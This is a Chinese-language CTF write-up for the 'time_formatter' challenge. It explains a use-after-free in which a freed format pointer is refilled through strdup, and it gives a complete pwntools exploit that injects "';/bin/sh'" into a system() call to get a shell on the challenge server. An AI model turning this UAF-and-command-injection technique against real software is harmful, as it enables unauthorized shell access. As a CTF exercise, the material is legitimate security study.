time_formatter
作者:互联网
题目描述:将UNIX时间转换为日期是很困难的,所以玛丽编写了一个工具来完成这个任务。
程序存在UAF漏洞,当选择exit然后不退出时,程序仅仅free掉了两个指针,但没有置空
strdup也会调用malloc来为新字符串提供空间
因此考虑将
__int64 __fastcall print_your_time() { char command[2048]; // [rsp+8h] [rbp-810h] BYREF unsigned __int64 canary; // [rsp+808h] [rbp-10h] canary = __readfsqword(0x28u); if ( format_ptr ) { __snprintf_chk(command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)unix_time, format_ptr); __printf_chk(1LL, "Your formatted time is: "); fflush(stdout); if ( getenv("DEBUG") ) __fprintf_chk(stderr, 1LL, "Running command: %s\n", command); setenv("TZ", time_zone_ptr, 1); system(command); } else { puts("You haven't specified a format!"); } return 0LL; }
这里面的format_ptr修改为我们想要的内容,从而执行system(/bin/sh)
为此需要封闭前后引号,同时在前面加上分号
注意到直接输入format时会进行过滤,因此考虑将其free之后再调用set_time_zone输入
exp如下:
from pwn import * #io = process('./time_formatter') io = remote('111.200.241.244', 63456) io.recvuntil('> ') io.sendline('1') io.recvuntil('Format: ') io.sendline('a' * 10) io.recvuntil('> ') io.sendline('5') io.recvuntil('Are you sure you want to exit (y/N)? ') io.sendline('N') io.recvuntil('> ') io.sendline('3') io.recvuntil('Time zone: ') io.sendline("';/bin/sh'") io.recvuntil('> ') io.sendline('4') io.interactive()
标签:__,format,sendline,io,time,recvuntil,formatter 来源: https://www.cnblogs.com/hktk1643/p/15316599.html